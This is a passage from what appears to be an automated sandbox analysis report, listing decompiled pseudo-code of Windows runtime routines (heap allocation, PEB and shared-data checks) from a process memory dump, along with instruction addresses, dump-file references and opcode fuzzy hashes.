                                      							 *((char*)(_t85 - 0x1d)) = 1;
                                      							L12:
                                      							 *(_t85 - 4) = 0xfffffffe;
                                      							E0366922A(_t82);
                                      							_t53 = E03687D50();
                                      							__eflags = _t53;
                                      							if(_t53 != 0) {
                                      								_t56 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
                                      							} else {
                                      								_t56 = 0x7ffe0386;
                                      							}
                                      							__eflags =  *_t56;
                                      							if( *_t56 != 0) {
                                      								_t56 = E03738B58(_t82);
                                      							}
                                      							__eflags =  *((char*)(_t85 - 0x1d));
                                      							if( *((char*)(_t85 - 0x1d)) != 0) {
                                      								__eflags = _t82 -  *0x37586c0; // 0x9007b0
                                      								if(__eflags != 0) {
                                      									__eflags = _t82 -  *0x37586b8; // 0x0
                                      									if(__eflags == 0) {
                                      										_t79 = 0x37586bc;
                                      										_t72 = 0x37586b8;
                                      										goto L18;
                                      									}
                                      									__eflags = _t56 | 0xffffffff;
                                      									asm("lock xadd [edi], eax");
                                      									if(__eflags == 0) {
                                      										E03669240(_t68, _t82, _t82, _t84, __eflags);
                                      									}
                                      								} else {
                                      									_t79 = 0x37586c4;
                                      									_t72 = 0x37586c0;
                                      									L18:
                                      									E03699B82(_t68, _t72, _t79, _t82, _t84, __eflags);
                                      								}
                                      							}
                                      							goto L5;
                                      						}
                                      					}
                                      				}
                                      			}


















                                      0x03669100
                                      0x03669100
                                      0x03669100
                                      0x03669100
                                      0x03669102
                                      0x03669107
                                      0x0366910c
                                      0x03669110
                                      0x03669115
                                      0x03669136
                                      0x03669143
                                      0x036c37e4
                                      0x036c37e4
                                      0x03669149
                                      0x0366914e
                                      0x0366914e
                                      0x03669117
                                      0x0366911d
                                      0x00000000
                                      0x00000000
                                      0x0366911f
                                      0x03669125
                                      0x00000000
                                      0x03669151
                                      0x03669158
                                      0x0366915d
                                      0x03669161
                                      0x03669168
                                      0x036c3715
                                      0x00000000
                                      0x0366916e
                                      0x0366916e
                                      0x03669175
                                      0x03669177
                                      0x0366917e
                                      0x0366917f
                                      0x03669182
                                      0x03669182
                                      0x03669187
                                      0x03669187
                                      0x0366918a
                                      0x0366918d
                                      0x0366918f
                                      0x03669192
                                      0x03669195
                                      0x03669198
                                      0x03669198
                                      0x03669198
                                      0x0366919a
                                      0x00000000
                                      0x00000000
                                      0x036c371f
                                      0x036c3721
                                      0x036c3727
                                      0x036c372f
                                      0x036c3733
                                      0x036c3735
                                      0x036c3738
                                      0x036c373b
                                      0x036c373d
                                      0x036c3740
                                      0x00000000
                                      0x00000000
                                      0x036c3746
                                      0x036c3749
                                      0x00000000
                                      0x00000000
                                      0x036c374f
                                      0x036c3751
                                      0x00000000
                                      0x00000000
                                      0x036c3757
                                      0x036c3759
                                      0x036c375c
                                      0x036c375c
                                      0x036c375e
                                      0x036c375e
                                      0x036c3761
                                      0x036c3764
                                      0x00000000
                                      0x00000000
                                      0x036c3766
                                      0x036c3768
                                      0x036c37a3
                                      0x036c37a3
                                      0x036c37a5
                                      0x036c37a7
                                      0x036c37ad
                                      0x036c37b0
                                      0x036c37b2
                                      0x036c37bc
                                      0x036c37c2
                                      0x036c37c2
                                      0x036c37b2
                                      0x03669187
                                      0x03669187
                                      0x0366918a
                                      0x0366918d
                                      0x0366918f
                                      0x03669192
                                      0x03669195
                                      0x00000000
                                      0x03669195
                                      0x00000000
                                      0x03669187
                                      0x036c376a
                                      0x036c376a
                                      0x036c376c
                                      0x036c376c
                                      0x036c376f
                                      0x036c3775
                                      0x00000000
                                      0x00000000
                                      0x036c3777
                                      0x036c3779
                                      0x00000000
                                      0x00000000
                                      0x036c3782
                                      0x036c3787
                                      0x036c3789
                                      0x036c3790
                                      0x036c3790
                                      0x036c378b
                                      0x036c378b
                                      0x036c378b
                                      0x036c3792
                                      0x036c3795
                                      0x036c3795
                                      0x036c3798
                                      0x036c3798
                                      0x036c379b
                                      0x036c379b
                                      0x036691a3
                                      0x036691a9
                                      0x036691b0
                                      0x036691b4
                                      0x036691b4
                                      0x036691bb
                                      0x036691c0
                                      0x036691c5
                                      0x036691c7
                                      0x036c37da
                                      0x036691cd
                                      0x036691cd
                                      0x036691cd
                                      0x036691d2
                                      0x036691d5
                                      0x03669239
                                      0x03669239
                                      0x036691d7
                                      0x036691db
                                      0x036691e1
                                      0x036691e7
                                      0x036691fd
                                      0x03669203
                                      0x0366921e
                                      0x03669223
                                      0x00000000
                                      0x03669223
                                      0x03669205
                                      0x03669208
                                      0x0366920c
                                      0x03669214
                                      0x03669214
                                      0x036691e9
                                      0x036691e9
                                      0x036691ee
                                      0x036691f3
                                      0x036691f3
                                      0x036691f3
                                      0x036691e7
                                      0x00000000
                                      0x036691db
                                      0x03669187
                                      0x03669168

                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: ac6d6190020e3500ee9e4d959bb189d44f7f183af30fb606502133a5a67c2b7f
                                      • Instruction ID: b62e05e19292e0ccce96327016e33356f31e420905e57059ce656b48731f7f54
                                      • Opcode Fuzzy Hash: ac6d6190020e3500ee9e4d959bb189d44f7f183af30fb606502133a5a67c2b7f
                                      • Instruction Fuzzy Hash: 6831F675A01389EFDB25DF68C2487ACFBF5FB49394F288159C8046B341C374A980CB56
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 60%
                                      			E03691DB5(intOrPtr __ecx, intOrPtr* __edx, intOrPtr* _a4) {
                                      				char _v8;
                                      				intOrPtr _v12;
                                      				intOrPtr _v16;
                                      				intOrPtr* _v20;
                                      				void* _t22;
                                      				char _t23;
                                      				void* _t36;
                                      				intOrPtr _t42;
                                      				intOrPtr _t43;
                                      
                                      				_v12 = __ecx;
                                      				_t43 = 0;
                                      				_v20 = __edx;
                                      				_t42 =  *__edx;
                                      				 *__edx = 0;
                                      				_v16 = _t42;
                                      				_push( &_v8);
                                      				_push(0);
                                      				_push(0);
                                      				_push(6);
                                      				_push(0);
                                      				_push(__ecx);
                                      				_t36 = ((0 | __ecx !=  *((intOrPtr*)( *[fs:0x30] + 8))) - 0x00000001 & 0xc0000000) + 0x40000002;
                                      				_push(_t36);
                                      				_t22 = E0368F460();
                                      				if(_t22 < 0) {
                                      					if(_t22 == 0xc0000023) {
                                      						goto L1;
                                      					}
                                      					L3:
                                      					return _t43;
                                      				}
                                      				L1:
                                      				_t23 = _v8;
                                      				if(_t23 != 0) {
                                      					_t38 = _a4;
                                      					if(_t23 >  *_a4) {
                                      						_t42 = L03684620(_t38,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _t23);
                                      						if(_t42 == 0) {
                                      							goto L3;
                                      						}
                                      						_t23 = _v8;
                                      					}
                                      					_push( &_v8);
                                      					_push(_t23);
                                      					_push(_t42);
                                      					_push(6);
                                      					_push(_t43);
                                      					_push(_v12);
                                      					_push(_t36);
                                      					if(E0368F460() < 0) {
                                      						if(_t42 != 0 && _t42 != _v16) {
                                      							L036877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t43, _t42);
                                      						}
                                      						goto L3;
                                      					}
                                      					 *_v20 = _t42;
                                      					 *_a4 = _v8;
                                      				}
                                      				_t43 = 1;
                                      				goto L3;
                                      			}












                                      0x03691dc2
                                      0x03691dc5
                                      0x03691dc7
                                      0x03691dcc
                                      0x03691dce
                                      0x03691dd6
                                      0x03691ddf
                                      0x03691de0
                                      0x03691de1
                                      0x03691de5
                                      0x03691de8
                                      0x03691def
                                      0x03691df0
                                      0x03691df6
                                      0x03691df7
                                      0x03691dfe
                                      0x03691e1a
                                      0x00000000
                                      0x00000000
                                      0x03691e0b
                                      0x03691e12
                                      0x03691e12
                                      0x03691e00
                                      0x03691e00
                                      0x03691e05
                                      0x03691e1e
                                      0x03691e23
                                      0x036d570f
                                      0x036d5713
                                      0x00000000
                                      0x00000000
                                      0x036d5719
                                      0x036d5719
                                      0x03691e2c
                                      0x03691e2d
                                      0x03691e2e
                                      0x03691e2f
                                      0x03691e31
                                      0x03691e32
                                      0x03691e35
                                      0x03691e3d
                                      0x036d5723
                                      0x036d573d
                                      0x036d573d
                                      0x00000000
                                      0x036d5723
                                      0x03691e49
                                      0x03691e4e
                                      0x03691e4e
                                      0x03691e09
                                      0x00000000

                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 113d149f2ee32d0cf172cc5618c6b00e5ec00d0f660e83749918783638c296a2
                                      • Instruction ID: bbcb14b7a17cbc2b9c03b15c8010b2a9ba5ac0a3fb151595a9bd259a3461a003
                                      • Opcode Fuzzy Hash: 113d149f2ee32d0cf172cc5618c6b00e5ec00d0f660e83749918783638c296a2
                                      • Instruction Fuzzy Hash: 3521837560421AEFEB21DF59CD80E6BFBBDEF86640F254056F5059B210D634AD11C7A0
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 53%
                                      			E03680050(void* __ecx) {
                                      				signed int _v8;
                                      				void* __ebx;
                                      				void* __edi;
                                      				void* __esi;
                                      				void* __ebp;
                                      				intOrPtr* _t30;
                                      				intOrPtr* _t31;
                                      				signed int _t34;
                                      				void* _t40;
                                      				void* _t41;
                                      				signed int _t44;
                                      				intOrPtr _t47;
                                      				signed int _t58;
                                      				void* _t59;
                                      				void* _t61;
                                      				void* _t62;
                                      				signed int _t64;
                                      
                                      				_push(__ecx);
                                      				_v8 =  *0x375d360 ^ _t64;
                                      				_t61 = __ecx;
                                      				_t2 = _t61 + 0x20; // 0x20
                                      				E03699ED0(_t2, 1, 0);
                                      				_t52 =  *(_t61 + 0x8c);
                                      				_t4 = _t61 + 0x8c; // 0x8c
                                      				_t40 = _t4;
                                      				do {
                                      					_t44 = _t52;
                                      					_t58 = _t52 & 0x00000001;
                                      					_t24 = _t44;
                                      					asm("lock cmpxchg [ebx], edx");
                                      					_t52 = _t44;
                                      				} while (_t52 != _t44);
                                      				if(_t58 == 0) {
                                      					L7:
                                      					_pop(_t59);
                                      					_pop(_t62);
                                      					_pop(_t41);
                                      					return E036AB640(_t24, _t41, _v8 ^ _t64, _t52, _t59, _t62);
                                      				}
                                      				asm("lock xadd [esi], eax");
                                      				_t47 =  *[fs:0x18];
                                      				 *((intOrPtr*)(_t61 + 0x50)) =  *((intOrPtr*)(_t47 + 0x19c));
                                      				 *((intOrPtr*)(_t61 + 0x54)) =  *((intOrPtr*)(_t47 + 0x1a0));
                                      				_t30 =  *((intOrPtr*)( *[fs:0x30] + 0x50));
                                      				if(_t30 != 0) {
                                      					if( *_t30 == 0) {
                                      						goto L4;
                                      					}
                                      					_t31 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
                                      					L5:
                                      					if( *_t31 != 0) {
                                      						_t18 = _t61 + 0x78; // 0x78
                                      						E03738A62( *(_t61 + 0x5c), _t18,  *((intOrPtr*)(_t61 + 0x30)),  *((intOrPtr*)(_t61 + 0x34)),  *((intOrPtr*)(_t61 + 0x3c)));
                                      					}
                                      					_t52 =  *(_t61 + 0x5c);
                                      					_t11 = _t61 + 0x78; // 0x78
                                      					_t34 = E03699702(_t40, _t11,  *(_t61 + 0x5c),  *((intOrPtr*)(_t61 + 0x74)), 0);
                                      					_t24 = _t34 | 0xffffffff;
                                      					asm("lock xadd [esi], eax");
                                      					if((_t34 | 0xffffffff) == 0) {
                                      						 *0x375b1e0(_t61);
                                      						_t24 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t61 + 4))))))();
                                      					}
                                      					goto L7;
                                      				}
                                      				L4:
                                      				_t31 = 0x7ffe0386;
                                      				goto L5;
                                      			}




















                                      0x03680055
                                      0x0368005d
                                      0x03680062
                                      0x0368006c
                                      0x0368006f
                                      0x03680074
                                      0x0368007a
                                      0x0368007a
                                      0x03680080
                                      0x03680080
                                      0x03680087
                                      0x0368008d
                                      0x0368008f
                                      0x03680093
                                      0x03680095
                                      0x0368009b
                                      0x036800f8
                                      0x036800fb
                                      0x036800fc
                                      0x036800ff
                                      0x03680108
                                      0x03680108
                                      0x036800a2
                                      0x036800a6
                                      0x036800b3
                                      0x036800bc
                                      0x036800c5
                                      0x036800ca
                                      0x036cc01e
                                      0x00000000
                                      0x00000000
                                      0x036cc02d
                                      0x036800d5
                                      0x036800d9
                                      0x036cc03d
                                      0x036cc046
                                      0x036cc046
                                      0x036800df
                                      0x036800e2
                                      0x036800ea
                                      0x036800ef
                                      0x036800f2
                                      0x036800f6
                                      0x03680111
                                      0x03680117
                                      0x03680117
                                      0x00000000
                                      0x036800f6
                                      0x036800d0
                                      0x036800d0
                                      0x00000000

                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 0be49be865a724d46011ae9ba33e399249ac5e57e9545bdb315b2240309db627
                                      • Instruction ID: 14006d4869955824263b78a6273090a0ef785baabdb12ee5d2552c40b7450d50
                                      • Opcode Fuzzy Hash: 0be49be865a724d46011ae9ba33e399249ac5e57e9545bdb315b2240309db627
                                      • Instruction Fuzzy Hash: 3C31A231201B04DFD725DF28C944B56B3E5FF88714F184A6DE49A8B790DB75AC06CB50
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 77%
                                      			E036E6C0A(signed short* __ecx, signed char __edx, signed char _a4, signed char _a8) {
                                      				signed short* _v8;
                                      				signed char _v12;
                                      				void* _t22;
                                      				signed char* _t23;
                                      				intOrPtr _t24;
                                      				signed short* _t44;
                                      				void* _t47;
                                      				signed char* _t56;
                                      				signed char* _t58;
                                      
                                      				_t48 = __ecx;
                                      				_push(__ecx);
                                      				_push(__ecx);
                                      				_t44 = __ecx;
                                      				_v12 = __edx;
                                      				_v8 = __ecx;
                                      				_t22 = E03687D50();
                                      				_t58 = 0x7ffe0384;
                                      				if(_t22 == 0) {
                                      					_t23 = 0x7ffe0384;
                                      				} else {
                                      					_t23 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
                                      				}
                                      				if( *_t23 != 0) {
                                      					_t24 =  *0x3757b9c; // 0x0
                                      					_t47 = ( *_t44 & 0x0000ffff) + 0x30;
                                      					_t23 = L03684620(_t48,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t24 + 0x180000, _t47);
                                      					_t56 = _t23;
                                      					if(_t56 != 0) {
                                      						_t56[0x24] = _a4;
                                      						_t56[0x28] = _a8;
                                      						_t56[6] = 0x1420;
                                      						_t56[0x20] = _v12;
                                      						_t14 =  &(_t56[0x2c]); // 0x2c
                                      						E036AF3E0(_t14, _v8[2],  *_v8 & 0x0000ffff);
                                      						_t56[0x2c + (( *_v8 & 0x0000ffff) >> 1) * 2] = 0;
                                      						if(E03687D50() != 0) {
                                      							_t58 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
                                      						}
                                      						_push(_t56);
                                      						_push(_t47 - 0x20);
                                      						_push(0x402);
                                      						_push( *_t58 & 0x000000ff);
                                      						E036A9AE0();
                                      						_t23 = L036877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t56);
                                      					}
                                      				}
                                      				return _t23;
                                      			}












                                      0x036e6c0a
                                      0x036e6c0f
                                      0x036e6c10
                                      0x036e6c13
                                      0x036e6c15
                                      0x036e6c19
                                      0x036e6c1c
                                      0x036e6c21
                                      0x036e6c28
                                      0x036e6c3a
                                      0x036e6c2a
                                      0x036e6c33
                                      0x036e6c33
                                      0x036e6c3f
                                      0x036e6c48
                                      0x036e6c4d
                                      0x036e6c60
                                      0x036e6c65
                                      0x036e6c69
                                      0x036e6c73
                                      0x036e6c79
                                      0x036e6c7f
                                      0x036e6c86
                                      0x036e6c90
                                      0x036e6c94
                                      0x036e6ca6
                                      0x036e6cb2
                                      0x036e6cbd
                                      0x036e6cbd
                                      0x036e6cc3
                                      0x036e6cc7
                                      0x036e6ccb
                                      0x036e6cd0
                                      0x036e6cd1
                                      0x036e6ce2
                                      0x036e6ce2
                                      0x036e6c69
                                      0x036e6ced

                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 571a04d6e4184067591b1a1b5a932fd96c4af656441bc13cf0e6eec4a07c0da0
                                      • Instruction ID: 93efcd0f4b5652521fb93a87dda99493368ba13932306dbab3256f333a9a97bb
                                      • Opcode Fuzzy Hash: 571a04d6e4184067591b1a1b5a932fd96c4af656441bc13cf0e6eec4a07c0da0
                                      • Instruction Fuzzy Hash: D121AB75A00654AFC715DF68D980E2AB7B8FF49700F1401A9F904CB790D634ED50CBA8
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 82%
                                      			E036A90AF(intOrPtr __ecx, void* __edx, intOrPtr* _a4) {
                                      				intOrPtr* _v0;
                                      				void* _v8;
                                      				signed int _v12;
                                      				intOrPtr _v16;
                                      				char _v36;
                                      				void* _t38;
                                      				intOrPtr _t41;
                                      				void* _t44;
                                      				signed int _t45;
                                      				intOrPtr* _t49;
                                      				signed int _t57;
                                      				signed int _t58;
                                      				intOrPtr* _t59;
                                      				void* _t62;
                                      				void* _t63;
                                      				void* _t65;
                                      				void* _t66;
                                      				signed int _t69;
                                      				intOrPtr* _t70;
                                      				void* _t71;
                                      				intOrPtr* _t72;
                                      				intOrPtr* _t73;
                                      				char _t74;
                                      
                                      				_t65 = __edx;
                                      				_t57 = _a4;
                                      				_t32 = __ecx;
                                      				_v8 = __edx;
                                      				_t3 = _t32 + 0x14c; // 0x14c
                                      				_t70 = _t3;
                                      				_v16 = __ecx;
                                      				_t72 =  *_t70;
                                      				while(_t72 != _t70) {
                                      					if( *((intOrPtr*)(_t72 + 0xc)) != _t57) {
                                      						L24:
                                      						_t72 =  *_t72;
                                      						continue;
                                      					}
                                      					_t30 = _t72 + 0x10; // 0x10
                                      					if(E036BD4F0(_t30, _t65, _t57) == _t57) {
                                      						return 0xb7;
                                      					}
                                      					_t65 = _v8;
                                      					goto L24;
                                      				}
                                      				_t61 = _t57;
                                      				_push( &_v12);
                                      				_t66 = 0x10;
                                      				if(E0369E5E0(_t57, _t66) < 0) {
                                      					return 0x216;
                                      				}
                                      				_t73 = L03684620(_t61,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _v12);
                                      				if(_t73 == 0) {
                                      					_t38 = 0xe;
                                      					return _t38;
                                      				}
                                      				_t9 = _t73 + 0x10; // 0x10
                                      				 *((intOrPtr*)(_t73 + 0xc)) = _t57;
                                      				E036AF3E0(_t9, _v8, _t57);
                                      				_t41 =  *_t70;
                                      				if( *((intOrPtr*)(_t41 + 4)) != _t70) {
                                      					_t62 = 3;
                                      					asm("int 0x29");
                                      					_push(_t62);
                                      					_push(_t57);
                                      					_push(_t73);
                                      					_push(_t70);
                                      					_t71 = _t62;
                                      					_t74 = 0;
                                      					_v36 = 0;
                                      					_t63 = E0369A2F0(_t62, _t71, 1, 6,  &_v36);
                                      					if(_t63 == 0) {
                                      						L20:
                                      						_t44 = 0x57;
                                      						return _t44;
                                      					}
                                      					_t45 = _v12;
                                      					_t58 = 0x1c;
                                      					if(_t45 < _t58) {
                                      						goto L20;
                                      					}
                                      					_t69 = _t45 / _t58;
                                      					if(_t69 == 0) {
                                      						L19:
                                      						return 0xe8;
                                      					}
                                      					_t59 = _v0;
                                      					do {
                                      						if( *((intOrPtr*)(_t63 + 0xc)) != 2) {
                                      							goto L18;
                                      						}
                                      						_t49 =  *((intOrPtr*)(_t63 + 0x14)) + _t71;
                                      						 *_t59 = _t49;
                                      						if( *_t49 != 0x53445352) {
                                      							goto L18;
                                      						}
                                      						 *_a4 =  *((intOrPtr*)(_t63 + 0x10));
                                      						return 0;
                                      						L18:
                                      						_t63 = _t63 + 0x1c;
                                      						_t74 = _t74 + 1;
                                      					} while (_t74 < _t69);
                                      					goto L19;
                                      				}
                                      				 *_t73 = _t41;
                                      				 *((intOrPtr*)(_t73 + 4)) = _t70;
                                      				 *((intOrPtr*)(_t41 + 4)) = _t73;
                                      				 *_t70 = _t73;
                                      				 *(_v16 + 0xdc) =  *(_v16 + 0xdc) | 0x00000010;
                                      				return 0;
                                      			}


























                                      0x036a90af
                                      0x036a90b8
                                      0x036a90bb
                                      0x036a90bf
                                      0x036a90c2
                                      0x036a90c2
                                      0x036a90c8
                                      0x036a90cb
                                      0x036a90cd
                                      0x036e14d7
                                      0x036e14eb
                                      0x036e14eb
                                      0x00000000
                                      0x036e14eb
                                      0x036e14db
                                      0x036e14e6
                                      0x00000000
                                      0x036e14f2
                                      0x036e14e8
                                      0x00000000
                                      0x036e14e8
                                      0x036a90d8
                                      0x036a90da
                                      0x036a90dd
                                      0x036a90e5
                                      0x00000000
                                      0x036a9139
                                      0x036a90fa
                                      0x036a90fe
                                      0x036a9142
                                      0x00000000
                                      0x036a9142
                                      0x036a9104
                                      0x036a9107
                                      0x036a910b
                                      0x036a9110
                                      0x036a9118
                                      0x036a9147
                                      0x036a9148
                                      0x036a914f
                                      0x036a9150
                                      0x036a9151
                                      0x036a9152
                                      0x036a9156
                                      0x036a915d
                                      0x036a9160
                                      0x036a9168
                                      0x036a916c
                                      0x036a91bc
                                      0x036a91be
                                      0x00000000
                                      0x036a91be
                                      0x036a916e
                                      0x036a9173
                                      0x036a9176
                                      0x00000000
                                      0x00000000
                                      0x036a917c
                                      0x036a9180
                                      0x036a91b5
                                      0x00000000
                                      0x036a91b5
                                      0x036a9182
                                      0x036a9185
                                      0x036a9189
                                      0x00000000
                                      0x00000000
                                      0x036a918e
                                      0x036a9190
                                      0x036a9198
                                      0x00000000
                                      0x00000000
                                      0x036a91a0
                                      0x00000000
                                      0x036a91ad
                                      0x036a91ad
                                      0x036a91b0
                                      0x036a91b1
                                      0x00000000
                                      0x036a9185
                                      0x036a911a
                                      0x036a911c
                                      0x036a911f
                                      0x036a9125
                                      0x036a9127
                                      0x00000000

                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 6bfd702525c1db8ef159ef8001ebf0bb6a8fccc454e16ed8d2a19b71faa45fc1
                                      • Instruction ID: eb436c43293c67ce7f888122c9f1617d5d0d2b30b15420acfad9490842a696f4
                                      • Opcode Fuzzy Hash: 6bfd702525c1db8ef159ef8001ebf0bb6a8fccc454e16ed8d2a19b71faa45fc1
                                      • Instruction Fuzzy Hash: 12218075A00708EFDB20DF59C944AAAFBF8EB44350F24886AE949AB300D330ED44CF90
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 59%
                                      			E03693B7A(void* __ecx) {
                                      				signed int _v8;
                                      				char _v12;
                                      				intOrPtr _v20;
                                      				intOrPtr _t17;
                                      				intOrPtr _t26;
                                      				void* _t35;
                                      				void* _t38;
                                      				void* _t41;
                                      				intOrPtr _t44;
                                      
                                      				_t17 =  *0x37584c4; // 0x0
                                      				_v12 = 1;
                                      				_v8 =  *0x37584c0 * 0x4c;
                                      				_t41 = __ecx;
                                      				_t35 = L03684620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t17 + 0x000c0000 | 0x00000008,  *0x37584c0 * 0x4c);
                                      				if(_t35 == 0) {
                                      					_t44 = 0xc0000017;
                                      				} else {
                                      					_push( &_v8);
                                      					_push(_v8);
                                      					_push(_t35);
                                      					_push(4);
                                      					_push( &_v12);
                                      					_push(0x6b);
                                      					_t44 = E036AAA90();
                                      					_v20 = _t44;
                                      					if(_t44 >= 0) {
                                      						E036AFA60( *((intOrPtr*)(_t41 + 0x20)), 0,  *0x37584c0 * 0xc);
                                      						_t38 = _t35;
                                      						if(_t35 < _v8 + _t35) {
                                      							do {
                                      								asm("movsd");
                                      								asm("movsd");
                                      								asm("movsd");
                                      								_t38 = _t38 +  *((intOrPtr*)(_t38 + 4));
                                      							} while (_t38 < _v8 + _t35);
                                      							_t44 = _v20;
                                      						}
                                      					}
                                      					_t26 =  *0x37584c4; // 0x0
                                      					L036877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t26 + 0xc0000, _t35);
                                      				}
                                      				return _t44;
                                      			}












                                      0x03693b89
                                      0x03693b96
                                      0x03693ba1
                                      0x03693bab
                                      0x03693bb5
                                      0x03693bb9
                                      0x036d6298
                                      0x03693bbf
                                      0x03693bc2
                                      0x03693bc3
                                      0x03693bc9
                                      0x03693bca
                                      0x03693bcc
                                      0x03693bcd
                                      0x03693bd4
                                      0x03693bd6
                                      0x03693bdb
                                      0x03693bea
                                      0x03693bf7
                                      0x03693bfb
                                      0x03693bff
                                      0x03693c09
                                      0x03693c0a
                                      0x03693c0b
                                      0x03693c0f
                                      0x03693c14
                                      0x03693c18
                                      0x03693c18
                                      0x03693bfb
                                      0x03693c1b
                                      0x03693c30
                                      0x03693c30
                                      0x03693c3d

                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: c4daf0c6630eb7f05de389776ac466b7936f28eb396977a46bab53085900e268
                                      • Instruction ID: 8a396f5e72ea1cf42b2984f39b7e1b0428d0f1086280acdbf34e67f173a3148d
                                      • Opcode Fuzzy Hash: c4daf0c6630eb7f05de389776ac466b7936f28eb396977a46bab53085900e268
                                      • Instruction Fuzzy Hash: 5021C272B00604EFDB04EF98CD81B6AB7BDFB44708F250069E904AB251D7B5ED01CB94
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 80%
                                      			E036E6CF0(void* __edx, intOrPtr _a4, short _a8) {
                                      				char _v8;
                                      				char _v12;
                                      				char _v16;
                                      				char _v20;
                                      				char _v28;
                                      				char _v36;
                                      				char _v52;
                                      				void* __ebx;
                                      				void* __edi;
                                      				void* __esi;
                                      				void* __ebp;
                                      				signed char* _t21;
                                      				void* _t24;
                                      				void* _t36;
                                      				void* _t38;
                                      				void* _t46;
                                      
                                      				_push(_t36);
                                      				_t46 = __edx;
                                      				_v12 = 0;
                                      				_v8 = 0;
                                      				_v20 = 0;
                                      				_v16 = 0;
                                      				if(E03687D50() == 0) {
                                      					_t21 = 0x7ffe0384;
                                      				} else {
                                      					_t21 = ( *[fs:0x30])[0x50] + 0x22a;
                                      				}
                                      				if( *_t21 != 0) {
                                      					_t21 =  *[fs:0x30];
                                      					if((_t21[0x240] & 0x00000004) != 0) {
                                      						if(E03687D50() == 0) {
                                      							_t21 = 0x7ffe0385;
                                      						} else {
                                      							_t21 = ( *[fs:0x30])[0x50] + 0x22b;
                                      						}
                                      						if(( *_t21 & 0x00000020) != 0) {
                                      							_t56 = _t46;
                                      							if(_t46 == 0) {
                                      								_t46 = 0x3645c80;
                                      							}
                                      							_push(_t46);
                                      							_push( &_v12);
                                      							_t24 = E0369F6E0(_t36, 0, _t46, _t56);
                                      							_push(_a4);
                                      							_t38 = _t24;
                                      							_push( &_v28);
                                      							_t21 = E0369F6E0(_t38, 0, _t46, _t56);
                                      							if(_t38 != 0) {
                                      								if(_t21 != 0) {
                                      									E036E7016(_a8, 0, 0, 0,  &_v36,  &_v28);
                                      									L03682400( &_v52);
                                      								}
                                      								_t21 = L03682400( &_v28);
                                      							}
                                      						}
                                      					}
                                      				}
                                      				return _t21;
                                      			}



















                                      0x036e6cfb
                                      0x036e6d00
                                      0x036e6d02
                                      0x036e6d06
                                      0x036e6d0a
                                      0x036e6d0e
                                      0x036e6d19
                                      0x036e6d2b
                                      0x036e6d1b
                                      0x036e6d24
                                      0x036e6d24
                                      0x036e6d33
                                      0x036e6d39
                                      0x036e6d46
                                      0x036e6d4f
                                      0x036e6d61
                                      0x036e6d51
                                      0x036e6d5a
                                      0x036e6d5a
                                      0x036e6d69
                                      0x036e6d6b
                                      0x036e6d6d
                                      0x036e6d6f
                                      0x036e6d6f
                                      0x036e6d74
                                      0x036e6d79
                                      0x036e6d7a
                                      0x036e6d7f
                                      0x036e6d82
                                      0x036e6d88
                                      0x036e6d89
                                      0x036e6d90
                                      0x036e6d94
                                      0x036e6da7
                                      0x036e6db1
                                      0x036e6db1
                                      0x036e6dbb
